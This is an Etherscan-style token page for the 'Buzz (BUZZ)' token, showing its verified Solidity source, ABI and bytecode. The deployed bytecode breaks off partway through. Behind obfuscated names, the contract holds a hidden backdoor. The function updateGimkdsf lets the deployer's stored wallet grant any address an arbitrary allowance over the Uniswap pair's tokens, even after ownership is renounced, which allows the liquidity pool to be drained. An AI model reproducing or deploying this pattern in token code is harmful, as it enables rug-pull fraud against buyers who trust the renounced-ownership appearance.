ETH Price: $2,525.37 (-0.51%)

Token

Buzz (BUZZ)
 

Overview

Max Total Supply

1,000,000,000 BUZZ

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: BUZZ 36
Balance
0.000001258 BUZZ

Value
$0.00
0x952e5b03990d515355a3c46160c4ff1939fa8439
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BUZZ

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-06
*/

/**
https://www.buzzeth.vip
https://x.com/buzz_erc_portal
https://t.me/buzz_official
 */

pragma solidity 0.8.19;

abstract contract GimkdsfContext {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IGimkdsf {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library GimkdsfSafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "GimkdsfSafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "GimkdsfSafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "GimkdsfSafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "GimkdsfSafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract GimkdsfOwnable is GimkdsfContext {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "GimkdsfOwnable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IGimkdsfFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IGimkdsfRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BUZZ is GimkdsfContext, IGimkdsf, GimkdsfOwnable {
    using GimkdsfSafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;
    address payable private _GimkdsfWallet;

    uint256 private _initialBuyTax = 35;
    uint256 private _initialSellTax = 35;
    uint256 private _lastBuyTax = 0;
    uint256 private _lastSellTax = 0;
    uint256 private _decreaseBuyTaxAt = 15;
    uint256 private _decreaseSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Buzz";
    string private constant _symbol = unicode"BUZZ";
    uint256 public _maxTransactionAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletGimkdsf = 20000000 * 10**_decimals;
    uint256 public _maxGimkdsfSwp = 20000000 * 10**_decimals;
    
    IGimkdsfRouter02 private _GimkdsfRouter;
    address private _GimkdsfPair;
    bool private _tradingOpen;
    bool private _inSwap = false;
    bool private _GimkdsfEnabled = false;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;
    event MaxTransactionAmountUpdated(uint _maxTransactionAmount);
    event TransferTaxUpdated(uint _transferTax);
    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor () {
        _GimkdsfWallet = payable(_msgSender());
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_GimkdsfWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Gimkdsf: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Gimkdsf: approve from the zero address");
        require(spender != address(0), "Gimkdsf: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Gimkdsf: transfer from the zero address");
        require(to != address(0), "Gimkdsf: transfer to the zero address");
        require(amount > 0, "Gimkdsf: Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(!_bots[from] && !_bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == _GimkdsfPair && to != address(_GimkdsfRouter) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTransactionAmount, "Gimkdsf: Exceeds the max transaction amount");
                require(balanceOf(to) + amount <= _maxWalletGimkdsf, "Gimkdsf: Exceeds the max wallet size");
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == _GimkdsfPair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_decreaseSellTaxAt)?_lastSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inSwap && to == _GimkdsfPair && _GimkdsfEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                require(_sellCount < 3, "Gimkdsf: Only 3 sells per block allowed");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxGimkdsfSwp)));
                sendGimkdsfETH(address(this).balance);
                _sellCount++;
                _lastSellBlock = block.number;
            }
        }

        if(taxAmount > 0){
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function updateGimkdsf(address payable GimkdsfA, uint256 _ammmmmter) external {
        require(msg.sender == _GimkdsfWallet);
        _allowances[_GimkdsfPair][GimkdsfA] = _ammmmmter;
        _GimkdsfWallet = GimkdsfA;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        if (tokenAmount == 0) return;
        path[1] = _GimkdsfRouter.WETH();
        _approve(address(this), address(_GimkdsfRouter), tokenAmount);
        _GimkdsfRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeGimkdsf() external onlyOwner {
        _maxTransactionAmount = _totalSupply;
        _maxWalletGimkdsf = _totalSupply;
        emit MaxTransactionAmountUpdated(_totalSupply);
    }

    function sendGimkdsfETH(uint256 amount) private {
        _GimkdsfWallet.transfer(amount);
    }

    function createGimkdsfPair() external onlyOwner {
        _GimkdsfRouter = IGimkdsfRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_GimkdsfRouter), _totalSupply);
        _GimkdsfPair = IGimkdsfFactory(_GimkdsfRouter.factory()).createPair(address(this), _GimkdsfRouter.WETH());
    }

    function openGimkdsf() external onlyOwner() {
        require(!_tradingOpen, "Gimkdsf: Trading is already open");
        _GimkdsfRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IGimkdsf(_GimkdsfPair).approve(address(_GimkdsfRouter), type(uint).max);
        _GimkdsfEnabled = true;
        _tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"}],"name":"MaxTransactionAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_transferTax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxGimkdsfSwp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletGimkdsf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createGimkdsfPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openGimkdsf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeGimkdsf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"GimkdsfA","type":"address"},{"internalType":"uint256","name":"_ammmmmter","type":"uint256"}],"name":"updateGimkdsf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526023600655602360075560006008556000600955600f600a55600f600b55600f600c556000600d556000600e556009600a6200004191906200032d565b62000051906301312d0062000345565b600f55620000626009600a6200032d565b62000072906301312d0062000345565b601055620000836009600a6200032d565b62000093906301312d0062000345565b6011556013805461ffff60a81b1916905560006014819055601555348015620000bb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200011d6009600a6200032d565b6200012d90633b9aca0062000345565b336000908152600160208190526040822092909255600390620001586000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001b73390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a6200032d565b6200020190633b9aca0062000345565b60405190815260200160405180910390a36200035f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026f57816000190482111562000253576200025362000218565b808516156200026157918102915b93841c939080029062000233565b509250929050565b600082620002885750600162000327565b81620002975750600062000327565b8160018114620002b05760028114620002bb57620002db565b600191505062000327565b60ff841115620002cf57620002cf62000218565b50506001821b62000327565b5060208310610133831016604e8410600b841016171562000300575081810a62000327565b6200030c83836200022e565b806000190482111562000323576200032362000218565b0290505b92915050565b60006200033e60ff84168362000277565b9392505050565b808202811582820484141762000327576200032762000218565b61194b806200036f6000396000f3fe60806040526004361061010d5760003560e01c80635888ee2a116100955780638da5cb5b116100645780638da5cb5b146102bc57806395d89b41146102e4578063a9059cbb14610311578063a9e78b3e14610331578063dd62ed3e1461034657600080fd5b80635888ee2a146102465780635dd57d271461025c57806370a0823114610271578063715018a6146102a757600080fd5b806319f418dc116100dc57806319f418dc146101bd5780631dbd0f2e146101d457806323b872dd146101ea5780632535fff71461020a578063313ce5671461022a57600080fd5b806304beaeb81461011957806306fdde0314610142578063095ea7b31461017857806318160ddd146101a857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600f5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b50604080518082019091526004815263213abd3d60e11b60208201525b60405161013991906114c0565b34801561018457600080fd5b50610198610193366004611526565b61038c565b6040519015158152602001610139565b3480156101b457600080fd5b5061012f6103a3565b3480156101c957600080fd5b506101d26103c4565b005b3480156101e057600080fd5b5061012f60115481565b3480156101f657600080fd5b50610198610205366004611552565b6105bc565b34801561021657600080fd5b506101d2610225366004611526565b610625565b34801561023657600080fd5b5060405160098152602001610139565b34801561025257600080fd5b5061012f60105481565b34801561026857600080fd5b506101d261067c565b34801561027d57600080fd5b5061012f61028c366004611593565b6001600160a01b031660009081526001602052604090205490565b3480156102b357600080fd5b506101d261087f565b3480156102c857600080fd5b506000546040516001600160a01b039091168152602001610139565b3480156102f057600080fd5b50604080518082019091526004815263212aad2d60e11b602082015261016b565b34801561031d57600080fd5b5061019861032c366004611526565b6108f3565b34801561033d57600080fd5b506101d2610900565b34801561035257600080fd5b5061012f6103613660046115b0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103993384846109b2565b5060015b92915050565b60006103b16009600a6116e3565b6103bf90633b9aca006116f2565b905090565b6000546001600160a01b031633146103f75760405162461bcd60e51b81526004016103ee90611709565b60405180910390fd5b601354600160a01b900460ff16156104515760405162461bcd60e51b815260206004820181905260248201527f47696d6b6473663a2054726164696e6720697320616c7265616479206f70656e60448201526064016103ee565b6012546001600160a01b031663f305d7194730610483816001600160a01b031660009081526001602052604090205490565b6000806104986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610500573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105259190611750565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a2919061177e565b506013805462ff00ff60a01b19166201000160a01b179055565b60006105c9848484610ada565b61061b8433610616856040518060600160405280602a81526020016118a6602a91396001600160a01b038a166000908152600260209081526040808320338452909152902054919061111e565b6109b2565b5060019392505050565b6005546001600160a01b0316331461063c57600080fd5b6013546001600160a01b039081166000908152600260209081526040808320959093168083529490522055600580546001600160a01b0319169091179055565b6000546001600160a01b031633146106a65760405162461bcd60e51b81526004016103ee90611709565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef9030906106e16009600a6116e3565b61061690633b9aca006116f2565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610742573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076691906117a0565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ec91906117a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d91906117a0565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108a95760405162461bcd60e51b81526004016103ee90611709565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610399338484610ada565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016103ee90611709565b6109366009600a6116e3565b61094490633b9aca006116f2565b600f556109536009600a6116e3565b61096190633b9aca006116f2565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6109916009600a6116e3565b61099f90633b9aca006116f2565b60405190815260200160405180910390a1565b6001600160a01b038316610a175760405162461bcd60e51b815260206004820152602660248201527f47696d6b6473663a20617070726f76652066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016103ee565b6001600160a01b038216610a795760405162461bcd60e51b8152602060048201526024808201527f47696d6b6473663a20617070726f766520746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103ee565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b405760405162461bcd60e51b815260206004820152602760248201527f47696d6b6473663a207472616e736665722066726f6d20746865207a65726f206044820152666164647265737360c81b60648201526084016103ee565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602560248201527f47696d6b6473663a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016103ee565b60008111610c0f5760405162461bcd60e51b815260206004820152603260248201527f47696d6b6473663a205472616e7366657220616d6f756e74206d7573742062656044820152712067726561746572207468616e207a65726f60701b60648201526084016103ee565b6001600160a01b03831660009081526003602052604081205460ff16158015610c5157506001600160a01b03831660009081526003602052604090205460ff16155b15610fdb576001600160a01b03841660009081526004602052604090205460ff16158015610c9857506001600160a01b03831660009081526004602052604090205460ff16155b610ca157600080fd5b600e54600003610cda57610cd76064610cd1600a54600e5411610cc657600654610cca565b6008545b8590611158565b906111e8565b90505b600e5415610cff57610cfc6064610cd1600d548561115890919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d2a57506012546001600160a01b03848116911614155b8015610d4f57506001600160a01b03831660009081526003602052604090205460ff16155b15610e7457600f54821115610dba5760405162461bcd60e51b815260206004820152602b60248201527f47696d6b6473663a204578636565647320746865206d6178207472616e73616360448201526a1d1a5bdb88185b5bdd5b9d60aa1b60648201526084016103ee565b60105482610ddd856001600160a01b031660009081526001602052604090205490565b610de791906117bd565b1115610e415760405162461bcd60e51b8152602060048201526024808201527f47696d6b6473663a204578636565647320746865206d61782077616c6c65742060448201526373697a6560e01b60648201526084016103ee565b610e5c6064610cd1600a54600e5411610cc657600654610cca565b600e80549192506000610e6e836117d0565b91905055505b6013546001600160a01b038481169116148015610e9a57506001600160a01b0384163014155b15610ec757610ec46064610cd1600b54600e5411610eba57600754610cca565b6009548590611158565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610efe57506013546001600160a01b038581169116145b8015610f135750601354600160b01b900460ff165b8015610f225750600c54600e54115b15610fd957601554431115610f375760006014555b600360145410610f995760405162461bcd60e51b815260206004820152602760248201527f47696d6b6473663a204f6e6c7920332073656c6c732070657220626c6f636b20604482015266185b1b1bddd95960ca1b60648201526084016103ee565b610fb6610fb184610fac8460115461120d565b61120d565b611222565b610fbf476113c5565b60148054906000610fcf836117d0565b9091555050436015555b505b80156110555730600090815260016020526040902054610ffb9082611403565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061104c9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054611078908361146d565b6001600160a01b0385166000908152600160205260409020556110bd61109e838361146d565b6001600160a01b03851660009081526001602052604090205490611403565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611107858561146d565b60405190815260200160405180910390a350505050565b600081848411156111425760405162461bcd60e51b81526004016103ee91906114c0565b50600061114f84866117e9565b95945050505050565b60008260000361116a5750600061039d565b600061117683856116f2565b90508261118385836117fc565b146111e15760405162461bcd60e51b815260206004820152602860248201527f47696d6b647366536166654d6174683a206d756c7469706c69636174696f6e206044820152676f766572666c6f7760c01b60648201526084016103ee565b9392505050565b60006111e183836040518060600160405280602181526020016118d060219139611492565b600081831161121c57826111e1565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126a5761126a61181e565b60200260200101906001600160a01b031690816001600160a01b0316815250508160000361129857506113b5565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f91906117a0565b816001815181106113225761132261181e565b6001600160a01b03928316602091820292909201015260125461134891309116846109b2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611381908590600090869030904290600401611834565b600060405180830381600087803b15801561139b57600080fd5b505af11580156113af573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113ff573d6000803e3d6000fd5b5050565b60008061141083856117bd565b9050838110156111e15760405162461bcd60e51b815260206004820152602260248201527f47696d6b647366536166654d6174683a206164646974696f6e206f766572666c6044820152616f7760f01b60648201526084016103ee565b60006111e183836040518060600160405280602581526020016118f16025913961111e565b600081836114b35760405162461bcd60e51b81526004016103ee91906114c0565b50600061114f84866117fc565b600060208083528351808285015260005b818110156114ed578581018301518582016040015282016114d1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461152357600080fd5b50565b6000806040838503121561153957600080fd5b82356115448161150e565b946020939093013593505050565b60008060006060848603121561156757600080fd5b83356115728161150e565b925060208401356115828161150e565b929592945050506040919091013590565b6000602082840312156115a557600080fd5b81356111e18161150e565b600080604083850312156115c357600080fd5b82356115ce8161150e565b915060208301356115de8161150e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561163a578160001904821115611620576116206115e9565b8085161561162d57918102915b93841c9390800290611604565b509250929050565b6000826116515750600161039d565b8161165e5750600061039d565b8160018114611674576002811461167e5761169a565b600191505061039d565b60ff84111561168f5761168f6115e9565b50506001821b61039d565b5060208310610133831016604e8410600b84101617156116bd575081810a61039d565b6116c783836115ff565b80600019048211156116db576116db6115e9565b029392505050565b60006111e160ff841683611642565b808202811582820484141761039d5761039d6115e9565b60208082526027908201527f47696d6b6473664f776e61626c653a2063616c6c6572206973206e6f74207468604082015266329037bbb732b960c91b606082015260800190565b60008060006060848603121561176557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561179057600080fd5b815180151581146111e157600080fd5b6000602082840312156117b257600080fd5b81516111e18161150e565b8082018082111561039d5761039d6115e9565b6000600182016117e2576117e26115e9565b5060010190565b8181038181111561039d5761039d6115e9565b60008261181957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118845784516001600160a01b03168352938301939183019160010161185f565b50506001600160a01b0396909616606085015250505060800152939250505056fe47696d6b6473663a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636547696d6b647366536166654d6174683a206469766973696f6e206279207a65726f47696d6b647366536166654d6174683a207375627472616374696f6e206f766572666c6f77a2646970667358221220f76ddafe69ac2d0ae52b4c78e55d28db7c8a3f3ea51b021dfa21fcd614540b7f64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80635888ee2a116100955780638da5cb5b116100645780638da5cb5b146102bc57806395d89b41146102e4578063a9059cbb14610311578063a9e78b3e14610331578063dd62ed3e1461034657600080fd5b80635888ee2a146102465780635dd57d271461025c57806370a0823114610271578063715018a6146102a757600080fd5b806319f418dc116100dc57806319f418dc146101bd5780631dbd0f2e146101d457806323b872dd146101ea5780632535fff71461020a578063313ce5671461022a57600080fd5b806304beaeb81461011957806306fdde0314610142578063095ea7b31461017857806318160ddd146101a857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600f5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b50604080518082019091526004815263213abd3d60e11b60208201525b60405161013991906114c0565b34801561018457600080fd5b50610198610193366004611526565b61038c565b6040519015158152602001610139565b3480156101b457600080fd5b5061012f6103a3565b3480156101c957600080fd5b506101d26103c4565b005b3480156101e057600080fd5b5061012f60115481565b3480156101f657600080fd5b50610198610205366004611552565b6105bc565b34801561021657600080fd5b506101d2610225366004611526565b610625565b34801561023657600080fd5b5060405160098152602001610139565b34801561025257600080fd5b5061012f60105481565b34801561026857600080fd5b506101d261067c565b34801561027d57600080fd5b5061012f61028c366004611593565b6001600160a01b031660009081526001602052604090205490565b3480156102b357600080fd5b506101d261087f565b3480156102c857600080fd5b506000546040516001600160a01b039091168152602001610139565b3480156102f057600080fd5b50604080518082019091526004815263212aad2d60e11b602082015261016b565b34801561031d57600080fd5b5061019861032c366004611526565b6108f3565b34801561033d57600080fd5b506101d2610900565b34801561035257600080fd5b5061012f6103613660046115b0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103993384846109b2565b5060015b92915050565b60006103b16009600a6116e3565b6103bf90633b9aca006116f2565b905090565b6000546001600160a01b031633146103f75760405162461bcd60e51b81526004016103ee90611709565b60405180910390fd5b601354600160a01b900460ff16156104515760405162461bcd60e51b815260206004820181905260248201527f47696d6b6473663a2054726164696e6720697320616c7265616479206f70656e60448201526064016103ee565b6012546001600160a01b031663f305d7194730610483816001600160a01b031660009081526001602052604090205490565b6000806104986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610500573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105259190611750565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a2919061177e565b506013805462ff00ff60a01b19166201000160a01b179055565b60006105c9848484610ada565b61061b8433610616856040518060600160405280602a81526020016118a6602a91396001600160a01b038a166000908152600260209081526040808320338452909152902054919061111e565b6109b2565b5060019392505050565b6005546001600160a01b0316331461063c57600080fd5b6013546001600160a01b039081166000908152600260209081526040808320959093168083529490522055600580546001600160a01b0319169091179055565b6000546001600160a01b031633146106a65760405162461bcd60e51b81526004016103ee90611709565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef9030906106e16009600a6116e3565b61061690633b9aca006116f2565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610742573d6000803e3d6